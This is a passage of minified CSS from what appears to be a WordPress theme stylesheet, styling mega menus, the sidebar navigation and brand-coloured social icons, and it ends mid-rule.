.penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-thumbnail,.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-meta,.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-thumbnail{width:100%;padding:0}.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-thumbnail .penci-image-holder:before,.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-thumbnail .penci-image-holder:before{padding-top:275px}#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post,.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post{width:30%}.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner,.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner{display:block}.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-meta,.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-meta{position:absolute;bottom:0;left:0;right:0;padding:20px;background:#000;background:linear-gradient(0deg,rgba(0,0,0,1) 0,rgba(0,0,0,0) 100%);z-index:9}.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-meta .post-mega-title a,.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-meta .post-mega-title a{font-size:18px}#navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-meta,#navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-meta,.navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-meta,.navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-meta{padding:30px}@media only screen and (min-width:961px) and (max-width:1170px){.pcmis-4 .penci-mega-latest-posts .penci-mega-post .penci-mega-post-inner .penci-mega-meta .post-mega-title a,.pcmis-5 .penci-mega-latest-posts .penci-mega-post .penci-mega-post-inner .penci-mega-meta .post-mega-title a{overflow:hidden;text-overflow:ellipsis;display:-webkit-box!important;-webkit-line-clamp:3;-webkit-box-orient:vertical}}#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),#navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover),#navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) a:not(:hover),#navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date,#navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-date,#navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date,.navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),.navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover),.navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) a:not(:hover),.navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date,.navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-date,.navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date{color:#fff}#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post .penci-mega-post-inner,.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post .penci-mega-post-inner{margin:10px}#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post,.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post{padding-bottom:0}.menu-style-2 .pcmis-5 .penci-mega-post{padding-left:15px;padding-right:15px}#navigation .penci-megamenu .pcmit-side.penci-mega-child-categories a.pcmnl-ci,.navigation .penci-megamenu .pcmit-side.penci-mega-child-categories a.pcmnl-ci{font-size:80%}#sidebar-nav,.penci-menu-hbg{position:fixed!important;top:0;height:100%;z-index:99997;width:270px;overflow-y:auto;padding:30px 20px 20px;background:#fff;left:0;transition:all .5s;-webkit-transition:all .5s;-moz-transition:all .5s;transform:translateX(-270px);-webkit-transform:translateX(-270px);-moz-transform:translateX(-270px)}#sidebar-nav{transform:translateX(calc(var(--pcsnav-w) * -1));-webkit-transform:translateX(calc(var(--pcsnav-w) * -1));-moz-transform:translateX(calc(var(--pcsnav-w) * -1))}.penci-menu-hbg.penci-vernav-show{z-index:100}@media only screen and (min-width:961px){#sidebar-nav{display:none}}#sidebar-nav #logo{display:none!important}#sidebar-nav #logo+ul{border-top:1px solid #dedede}.penci-menu-hbg{width:330px;transform:translateX(-330px);-webkit-transform:translateX(-330px);-moz-transform:translateX(-330px)}.admin-bar .penci-menu-hbg{padding-top:62px}.open-sidebar-nav #sidebar-nav{left:270px}.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-left{left:330px}.penci-menu-hbg::-webkit-scrollbar{width:0}#sidebar-nav::-webkit-scrollbar{width:6px;background:#848484}#sidebar-nav::-webkit-scrollbar-thumb{background-color:#313131;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}#sidebar-nav::-webkit-scrollbar-corner{background-color:#dedede}#sidebar-nav-logo{padding:0 20px 20px;text-align:center;margin:0 0 15px 0;position:relative}#sidebar-nav-logo:before{content:"";width:60px;height:1px;background:var(--pcaccent-cl);position:absolute;bottom:0;left:50%;margin-left:-30px}.header-social.sidebar-nav-social{margin:0 0 43px 0;padding:0 10px}.header-social.sidebar-nav-social .inner-header-social:after,.header-social.sidebar-nav-social .inner-header-social:before{content:none}.header-social.sidebar-nav-social a i{color:#313131}.penci-menu-hbg .header-social.sidebar-nav-social a i{font-size:14px;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.header-social.sidebar-nav-social a i:hover{color:var(--pcaccent-cl)}.penci-menu-hbg .header-social.penci-hbg-social-style-2 a,.penci-menu-hbg .header-social.penci-hbg-social-style-4 a{margin:0 3px 6px}.penci-menu-hbg .header-social.penci-hbg-social-style-2 a i,.penci-menu-hbg .header-social.penci-hbg-social-style-4 a i{width:36px;height:36px;line-height:34px;background:0 0;border:1px solid #e0e0e0;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;margin:0;display:inline-block;text-align:center}.penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{background:var(--pcaccent-cl);border-color:var(--pcaccent-cl);color:#fff}.penci-menu-hbg .header-social.penci-hbg-social-style-2.hgb-social-style-3 a i,.penci-menu-hbg .header-social.penci-hbg-social-style-4.hgb-social-style-5 a i{border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.penci-menu-hbg .header-social.penci-hbg-social-style-4 a i,.penci-menu-hbg .header-social.penci-hbg-social-style-4 a:hover i,.penci-social-colored ul.footer-socials li a i{color:#fff!important;border:none!important;line-height:36px}.penci-social-colored a i.pccsi-img,.penci-social-colored a i.pccsi-svg,.penci-social-colored ul.footer-socials li a i.pccsi-img,.penci-social-colored ul.footer-socials li a i.pccsi-svg{background-color:var(--pcci,var(--pcaccent-cl))!important}.penci-social-colored ul.footer-socials li a i svg{fill:#fff}.penci-menu-hbg .header-social.penci-hbg-social-style-4 a:hover i,.penci-social-colored ul.footer-socials li a:hover i{opacity:.85}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-facebook,.penci-social-colored a i.fa-facebook,.penci-social-colored a i.fa-facebook-f,.penci-social-colored a i.penciicon-facebook,.tags-share-box.tags-share-box-s2 .post-share-facebook{background:#0d47a1!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-twitter,.penci-social-colored a i.fa-twitter,.penci-social-colored a i.penciicon-twitter,.penci-social-colored a i.penciicon-x-twitter,.tags-share-box.tags-share-box-s2 .post-share-twitter{background:#40c4ff!important}.penci-social-colored a i.fa-google-plus{background:#eb4026!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-instagram,.penci-social-colored a i.fa-instagram,.penci-social-colored a i.penciicon-instagram{background:#4d7a9e!important;background:radial-gradient(circle farthest-corner at 35% 90%,#ffa100,transparent 50%),radial-gradient(circle farthest-corner at 0 140%,#efa11c,transparent 50%),radial-gradient(ellipse farthest-corner at 0 -25%,#5258cf,transparent 50%),radial-gradient(ellipse farthest-corner at 20% -50%,#5258cf,transparent 50%),radial-gradient(ellipse farthest-corner at 100% 0,#893dc2,transparent 50%),radial-gradient(ellipse farthest-corner at 60% -20%,#8f44c7,transparent 50%),radial-gradient(ellipse farthest-corner at 100% 100%,#d43178,transparent),linear-gradient(#6559ca,#bc318f 30%,#e33f5f 50%,#f77638 70%,#fec66d 100%)!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-pinterest,.penci-social-colored a i.fa-pinterest,.penci-social-colored a i.penciicon-pinterest,.tags-share-box.tags-share-box-s2 .post-share-pinterest{background:#bd081c!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-threads,.penci-social-colored a i.fa-threads,.penci-social-colored a i.penciicon-threads,.tags-share-box.tags-share-box-s2 .post-share-threads{background:#000!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-bluesky,.penci-social-colored a i.fa-bluesky,.penci-social-colored a i.penciicon-bluesky,.tags-share-box.tags-share-box-s2 .post-share-bluesky{background:#1083fe!important}.penci-social-colored a i.fa-linkedin,.penci-social-colored a i.fa-linkedin-in,.penci-social-colored a i.penciicon-linkedin,.penci-social-linkedin .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-linkedin{background:#0077b5!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-flickr,.penci-social-colored a i.fa-flickr,.penci-social-colored a i.penciicon-flickr{background:#ff0084!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-behance,.penci-social-colored a i.fa-behance,.penci-social-colored a i.penciicon-behance{background:#053eff!important}.penci-social-colored a i.fa-tumblr,.penci-social-colored a i.penciicon-tumblr,.penci-social-tumblr .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-tumblr{background:#34465d!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-youtube,.penci-social-colored a i.fa-youtube,.penci-social-colored a i.fa-youtube-play,.penci-social-colored a i.penciicon-youtube{background:red!important}.penci-social-colored a i.fa-envelope,.penci-social-colored a i.fa-envelope-o,.penci-social-colored a i.penciicon-email,.penci-social-email .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-email{background:#0084ff!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-vk,.penci-social-colored a i.fa-vk,.penci-social-colored a i.penciicon-vk,.tags-share-box.tags-share-box-s2 .post-share-vk{background:#5181b8!important}.penci-social-colored a i.fa-pocket,.penci-social-pocket .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-pocket{background:#ef4056!important}.penci-social-colored a i.fa-skype,.penci-social-skype .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-skype{background:#00aff0!important}.penci-social-colored a i.fa-heart,.penci-social-heart .penci-social-content{background:#000!important}.penci-social-colored a i.fa-vine,.penci-social-colored a i.penciicon-vine,.penci-social-vine .penci-social-content{background:#00b98a!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-soundcloud,.penci-social-colored a i.fa-soundcloud,.penci-social-colored a i.penciicon-soundcloud{background:#f76201!important}.penci-social-colored a i.fa-snapchat,.penci-social-colored a i.fa-snapchat-ghost,.penci-social-colored a i.penciicon-snapchat,.penci-social-snapchat .penci-social-content{background:#f6f600!important}.penci-social-colored a i.fa-spotify,.penci-social-colored a i.penciicon-spotify,.penci-social-spotify .penci-social-content{background:#22c95c!important}.penci-social-colored a i.fa-github,.penci-social-colored a i.penciicon-github,.penci-social-github .penci-social-content{background:#302f2f!important}.penci-social-colored a i.fa-stack-overflow,.penci-social-colored a i.penciicon-stack-overflow,.penci-social-stack .penci-social-content{background:#f7a000!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-twitch,.penci-social-colored a i.fa-twitch,.penci-social-colored a i.penciicon-twitch{background:#613fa0!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-vimeo,.penci-social-colored a i.fa-vimeo,.penci-social-colored a i.fa-vimeo-v,.penci-social-colored a i.penciicon-vimeo{background:#00a8e8!important}.penci-social-colored a i.fa-steam,.penci-social-colored a i.penciicon-steam,.penci-social-steam .penci-social-content{background:#bcbab8!important}.penci-social-colored a i.fa-xing,.penci-social-colored a i.penciicon-xing,.penci-social-xing .penci-social-content{background:#007c7c!important}.penci-social-colored a i.fa-whatsapp,.penci-social-colored a i.penciicon-whatsapp,.penci-social-whatsapp .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-whatsapp{background:#00e676!important}.penci-social-colored a i.fa-heart-o{background:#000!important}.penci-social-colored a i.fa-telegram,.penci-social-colored a i.penciicon-telegram,.penci-social-telegram .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-telegram{background:#289fd9!important}.penci-social-colored a i.fa-reddit-alien,.penci-social-colored a i.penciicon-reddit,.penci-social-reddit .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-reddit{background:#f74300!important}.penci-social-colored a i.fa-odnoklassniki,.penci-social-colored a i.penciicon-odnoklassniki,.penci-social-odnoklassniki .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-ok{background:#f18f00!important}.penci-social-500px .penci-social-content,.penci-social-colored a i.fa-500px{background:#0af!important}.penci-social-colored a i.fa-stumbleupon,.penci-social-colored a i.penciicon-stumbleupon,.penci-social-stumbleupon .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-stumbleupon{background:#eb4823!important}.penci-social-colored a i.fa-weixin,.penci-social-colored a i.penciicon-wechat,.penci-social-weixin .penci-social-content{background:#0fc91c!important}.penci-social-colored a i.fa-weibo,.penci-social-colored a i.penciicon-sina-weibo,.penci-social-weibo .penci-social-content{background:#df152c!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-rss,.penci-social-colored a i.fa-rss,.penci-social-colored a i.penciicon-rss{background:#f0941a!important}.penci-social-colored a i.fa-line,.penci-social-colored a i.penci-icon-line,.penci-social-colored a i.penciicon-line,.penci-social-colored a i.penciicon-line-1,.penci-social-line .penci-social-content{background:#01b901!important}.penci-social-colored a i.fa-viber,.penci-social-colored a i.penci-icon-viber,.penci-social-colored a i.penciicon-viber,.penci-social-colored a i.penciicon-viber-1,.penci-social-viber .penci-social-content,.tags-share-box.tags-share-box-s2 .post-share-viber{background:#7d51a0!important}.penci-social-colored a i.fa-discord,.penci-social-colored a i.penci-icon-discord,.penci-social-colored a i.penciicon-discord,.penci-social-colored a i.penciicon-discord-1,.penci-social-discord .penci-social-content{background:#7289da!important}.penci-social-colored a i.fa-slack,.penci-social-colored a i.penciicon-slack{background:#611f69!important}.penci-social-colored a i.fa-mixcloud{background:#f3b2a6!important}.penci-social-colored a i.fa-goodreads,.penci-social-colored a i.penci-icon-goodreads,.penci-social-colored a i.penciicon-goodreads{background:#8a5724!important}.penci-social-colored a i.fa-tripadvisor,.penci-social-colored a i.penciicon-tripadvisor{background:#34e0a1!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-tiktok,.penci-social-colored a i.fa-tiktok,.penci-social-colored a i.penci-icon-tiktok,.penci-social-colored a i.penciicon-tik-tok,.penci-social-colored a i.penciicon-tik-tok-1{background:#fe2c55!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-butterfly,.penci-social-colored a i.penciicon-butterfly{background:#1185fe!important}.pcsoccl-brandbg .pcsc-brandflag.pcsoci-threads,.penci-social-colored a i.penciicon-threads{background:#000!important}.pcsoccl-brandbg .pcsc-brandflag.fa-yelp,.penci-social-colored a i.fa-yelp{background:rgba(244,13,21,1)!important}.penci-social-colored a i.penciicon-douban-logo{background:#00b51d!important}.penci-social-colored a i.penciicon-qq-social-logo-of-a-penguin{background:#4292ff!important}.tags-share-box.tags-share-box-s2 .post-share-line{background:#01b901!important}.tags-share-box.tags-share-box-s2 .post-share-plike{background:var(--pcaccent-cl)}.penci-social-delicious .penci-social-content{background:var(--pcaccent-cl)!important}.penci-social-dribbble .penci-social-content{background:#ea4c89!important}.penci-social-colored a i.penciicon-letter-d{background:#000!important}.penci-social-colored a i.penciicon-blogger,.penci-social-colored a i.penciicon-blogger-1{background:#ed7800!important}.penci-social-colored a i.fa-delicious{background:#0078f0!important}.penci-social-colored a i.penciicon-deviantart,.penci-social-colored a i.penciicon-deviantart-1{background:#01ca3a!important}.penci-social-colored a i.fa-digg{background:#005be2!important}.penci-social-colored a i.penciicon-evernote,.penci-social-colored a i.penciicon-evernote-1{background:#00a32c!important}.penci-social-colored a i.penciicon-forrst,.penci-social-colored a i.penciicon-forrst-1{background:#054958!important}.penci-social-colored a i.penciicon-grooveshark,.penci-social-colored a i.penciicon-grooveshark-1{background:#f75421!important}.penci-social-colored a i.penciicon-lastfm{background:#e31b23!important}.penci-social-colored a i.penciicon-myspace,.penci-social-colored a i.penciicon-myspace-logo{background:#0037c1!important}.penci-social-colored a i.fa-paypal,.penci-social-colored a i.penciicon-brand{background:#0070ba!important}.penci-social-colored a i.fa-skype,.penci-social-colored a i.penciicon-skype{background:#00aff0!important}.penci-social-colored a i.fa-windows,.penci-social-colored a i.penciicon-windows{background:#00adef!important}.penci-social-colored a i.fa-wordpress,.penci-social-colored a i.penciicon-wordpress-logo{background:#21759b!important}.penci-social-colored a i.penciicon-yahoo-logo{background:#6001d2!important}.penci-social-colored a i.penciicon-y{background:#fc401d!important}.penci-social-colored a i.fa-globe{background:var(--pcaccent-cl)!important}.penci-social-colored a i.fa-dribbble{background:#ea4c89!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-facebook i,.penci-social-textcolored a i.fa-facebook,.penci-social-textcolored a i.fa-facebook-f,.penci-social-textcolored a i.penciicon-facebook{color:#0d47a1!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-twitter i,.penci-social-textcolored a i.fa-twitter,.penci-social-textcolored a i.penciicon-twitter,.penci-social-textcolored a i.penciicon-x-twitter{color:#40c4ff!important}.penci-social-textcolored a i.fa-google-plus{color:#eb4026!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-instagram i,.penci-social-textcolored a i.fa-instagram,.penci-social-textcolored a i.penciicon-instagram{color:#4d7a9e!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-pinterest i,.penci-social-textcolored a i.fa-pinterest,.penci-social-textcolored a i.penciicon-pinterest{color:#bd081c!important}.penci-social-textcolored a i.fa-linkedin,.penci-social-textcolored a i.fa-linkedin-in,.penci-social-textcolored a i.penciicon-linkedin{color:#0077b5!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-flickr i,.penci-social-textcolored a i.fa-flickr,.penci-social-textcolored a i.penciicon-flickr{color:#ff0084!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-behance i,.penci-social-textcolored a i.fa-behance,.penci-social-textcolored a i.penciicon-behance{color:#053eff!important}.penci-social-textcolored a i.fa-tumblr,.penci-social-textcolored a i.penciicon-tumblr{color:#34465d!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-youtube i,.penci-social-textcolored a i.fa-youtube,.penci-social-textcolored a i.fa-youtube-play,.penci-social-textcolored a i.penciicon-youtube{color:red!important}.penci-social-textcolored a i.fa-envelope,.penci-social-textcolored a i.fa-envelope-o,.penci-social-textcolored a i.penciicon-email{color:#0084ff!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-vk i,.penci-social-textcolored a i.fa-vk,.penci-social-textcolored a i.penciicon-vk{color:#5181b8!important}.penci-social-textcolored a i.fa-heart,.penci-social-textcolored a i.fa-heart-o{color:#000!important}.penci-social-textcolored a i.fa-vine,.penci-social-textcolored a i.penciicon-vine{color:#00b98a!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-soundcloud i,.penci-social-textcolored a i.fa-soundcloud,.penci-social-textcolored a i.penciicon-soundcloud{color:#f76201!important}.penci-social-textcolored a i.fa-pocket{color:#ef4056!important}.penci-social-textcolored a i.fa-snapchat,.penci-social-textcolored a i.fa-snapchat-ghost,.penci-social-textcolored a i.penciicon-snapchat{color:#f6f600!important}.penci-social-textcolored a i.fa-spotify,.penci-social-textcolored a i.penciicon-spotify{color:#22c95c!important}.penci-social-textcolored a i.fa-github,.penci-social-textcolored a i.penciicon-github{color:#302f2f!important}.penci-social-textcolored a i.fa-stack-overflow,.penci-social-textcolored a i.penciicon-stack-overflow{color:#f7a000!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-twitch i,.penci-social-textcolored a i.fa-twitch,.penci-social-textcolored a i.penciicon-twitch{color:#613fa0!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-vimeo i,.penci-social-textcolored a i.fa-vimeo,.penci-social-textcolored a i.fa-vimeo-v,.penci-social-textcolored a i.penciicon-vimeo{color:#00a8e8!important}.penci-social-textcolored a i.fa-steam,.penci-social-textcolored a i.penciicon-steam{color:#bcbab8!important}.penci-social-textcolored a i.fa-xing,.penci-social-textcolored a i.penciicon-xing{color:#007c7c!important}.penci-social-textcolored a i.fa-whatsapp,.penci-social-textcolored a i.penciicon-whatsapp{color:#00e676!important}.penci-social-textcolored a i.fa-telegram,.penci-social-textcolored a i.penciicon-telegram{color:#289fd9!important}.penci-social-textcolored a i.fa-reddit-alien,.penci-social-textcolored a i.penciicon-reddit{color:#f74300!important}.penci-social-textcolored a i.fa-odnoklassniki,.penci-social-textcolored a i.penciicon-odnoklassniki{color:#f18f00!important}.penci-social-textcolored a i.fa-500px{color:#0af!important}.penci-social-textcolored a i.fa-stumbleupon,.penci-social-textcolored a i.penciicon-stumbleupon{color:#eb4823!important}.penci-social-textcolored a i.fa-weixin,.penci-social-textcolored a i.penciicon-wechat{color:#0fc91c!important}.penci-social-textcolored a i.fa-weibo,.penci-social-textcolored a i.penciicon-sina-weibo{color:#df152c!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-rss i,.penci-social-textcolored a i.fa-rss,.penci-social-textcolored a i.penciicon-rss{color:#f0941a!important}.penci-social-textcolored a i.fa-slack,.penci-social-textcolored a i.penciicon-slack{color:#611f69!important}.penci-social-textcolored a i.fa-mixcloud{color:#f3b2a6!important}.penci-social-textcolored a i.fa-goodreads,.penci-social-textcolored a i.penci-icon-goodreads,.penci-social-textcolored a i.penciicon-goodreads{color:#8a5724!important}.penci-social-textcolored a i.fa-tripadvisor,.penci-social-textcolored a i.penciicon-tripadvisor{color:#34e0a1!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-tiktok i,.penci-social-textcolored a i.fa-tiktok,.penci-social-textcolored a i.penci-icon-tiktok,.penci-social-textcolored a i.penciicon-tik-tok,.penci-social-textcolored a i.penciicon-tik-tok-1{color:#fe2c55!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-butterfly i,.pcsoccl-brandtext .pcsc-brandflag.penciicon-butterfly i,.penci-social-textcolored a i.penciicon-butterfly{color:#1185fe!important}.pcsoccl-brandtext .pcsc-brandflag.pcsoci-threads i,.pcsoccl-brandtext .pcsc-brandflag.penciicon-threads i,.penci-social-textcolored a i.penciicon-threads{color:#b0b0b0!important}.pcsoccl-brandtext .pcsc-brandflag i.fa-yelp,.pcsoccl-brandtext .pcsc-brandflag.pcsoci-yelp i,.penci-social-textcolored a i.fa-yelp{color:rgba(244,13,21,1)!important}.penci-social-textcolored a i.fa-line,.penci-social-textcolored a i.penci-icon-line,.penci-social-textcolored a i.penciicon-line,.penci-social-textcolored a i.penciicon-line-1{color:#01b901!important}.penci-social-textcolored a i.fa-viber,.penci-social-textcolored a i.penci-icon-viber,.penci-social-textcolored a i.penciicon-viber,.penci-social-textcolored a i.penciicon-viber-1{color:#7d51a0!important}.penci-social-textcolored a i.fa-discord,.penci-social-textcolored a i.penci-icon-discord,.penci-social-textcolored a i.penciicon-discord,.penci-social-textcolored a i.penciicon-discord-1{color:#7289da!important}.penci-social-textcolored a i.penciicon-douban-logo{color:#00b51d!important}.penci-social-textcolored a i.penciicon-qq-social-logo-of-a-penguin{color:#4292ff!important}.penci-social-textcolored a i.penciicon-letter-d{color:#000!important}.penci-social-textcolored a i.penciicon-blogger,.penci-social-textcolored a i.penciicon-blogger-1{color:#ed7800!important}.penci-social-textcolored a i.fa-delicious{color:#0078f0!important}.penci-social-textcolored a i.penciicon-deviantart,.penci-social-textcolored a i.penciicon-deviantart-1{color:#01ca3a!important}.penci-social-textcolored a i.fa-digg{color:#005be2!important}.penci-social-textcolored a i.penciicon-evernote,.penci-social-textcolored a i.penciicon-evernote-1{color:#00a32c!important}.penci-social-textcolored a i.penciicon-forrst,.penci-social-textcolored a i.penciicon-forrst-1{color:#054958!important}.penci-social-textcolored a i.penciicon-grooveshark,.penci-social-textcolored a i.penciicon-grooveshark-1{color:#f75421!important}.penci-social-textcolored a i.penciicon-lastfm{color:#e31b23!important}.penci-social-textcolored a i.penciicon-myspace,.penci-social-textcolored a i.penciicon-myspace-logo{color:#0037c1!important}.penci-social-textcolored a i.fa-paypal,.penci-social-textcolored a i.penciicon-brand{color:#0070ba!important}.penci-social-textcolored a i.fa-skype,.penci-social-textcolored a i.penciicon-skype{color:#00aff0!important}.penci-social-textcolored a i.fa-windows,.penci-social-textcolored a i.penciicon-windows{color:#00adef!important}.penci-social-textcolored a i.fa-wordpress,.penci-social-textcolored a i.penciicon-wordpress-logo{color:#21759b!important}.penci-social-textcolored a i.penciicon-yahoo-logo{color:#6001d2!important}.penci-social-textcolored a i.penciicon-y{color:#fc401d!important}.penci-social-textcolored a i.fa-globe{color:var(--pcaccent-cl)!important}.penci-social-textcolored a i.fa-dribbble{color:#ea4c89!important}#sidebar-nav .menu,.pchgbel .menu,.penci-menu-hbg .menu{margin:0;list-style:none}#sidebar-nav .menu li,.pchgbel .menu li,.penci-menu-hbg .menu li{display:block;border-bottom:1px solid #dedede;padding:0;margin-bottom:0}.pchgbel .menu li.penci-mega-menu .sub-menu a:empty,.penci-menu-hbg .menu li.penci-mega-menu .sub-menu a:empty{padding:0;display:none}.pchgbel.menu li.penci-mega-menu .sub-menu a:blank,.penci-menu-hbg .menu li.penci-mega-menu .sub-menu a:blank{padding:0;display:none}.pchgbel .menu li.penci-mega-menu .sub-menu .penci-megamenu a:not(.mega-cat-child),.penci-menu-hbg .menu li.penci-mega-menu .sub-menu .penci-megamenu a:not(.mega-cat-child){padding:0;display:none}.pchgbel .menu li.penci-mega-menu .sub-menu .penci-megamenu a.mega-normal-child,.penci-menu-hbg .menu li.penci-mega-menu .sub-menu .penci-megamenu a.mega-normal-child{padding:10px 0;display:block}#sidebar-nav .menu ul>li:last-child,#sidebar-nav .menu>li:last-child,.pchgbel .menu ul>li:last-child,.pchgbel .menu>li:last-child,.penci-menu-hbg .menu ul>li:last-child,.penci-menu-hbg .menu>li:last-child{border-bottom:none}#sidebar-nav .menu li a,.pchgbel .menu li a,.penci-menu-hbg .menu li a{font-size:13px;font-weight:400;letter-spacing:0;text-transform:uppercase;color:#313131;margin:0;position:relative;padding:13px 0 13px 0;display:block;line-height:1.3em;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.pchgbel .menu li a,.penci-menu-hbg .menu li a{text-decoration:none}#sidebar-nav .menu li.menu-item-has-children a,.pchgbel .menu li.menu-item-has-children a,.penci-menu-hbg .menu li.menu-item-has-children a{padding-right:17px}#sidebar-nav .menu li a:hover,.pchgbel .menu li a:hover,.penci-menu-hbg .menu li a:hover{color:var(--pcaccent-cl)}#sidebar-nav .menu li a>i,.pchgbel .menu li a>i,.penci-menu-hbg .menu li a>i{display:inline-block;margin-right:5px}#sidebar-nav ul.sub-menu,.pchgbel ul.sub-menu,.penci-menu-hbg ul.sub-menu{border-top:1px solid #dedede;display:none;padding:10px 0 10px 12px}.pchgbel ul.sub-menu,.penci-menu-hbg ul.sub-menu{margin:0}#sidebar-nav ul.sub-menu ul.sub-menu,.pchgbel ul.sub-menu ul.sub-menu,.penci-menu-hbg ul.sub-menu ul.sub-menu{border:none;padding:5px 0 5px 12px}#sidebar-nav ul.sub-menu ul.sub-menu,.pchgbel ul.sub-menu ul.sub-menu,.penci-menu-hbg ul.sub-menu ul.sub-menu{padding-right:0}#sidebar-nav ul.sub-menu li,.pchgbel ul.sub-menu li,.penci-menu-hbg ul.sub-menu li{overflow:hidden;border:none}#sidebar-nav ul.sub-menu li 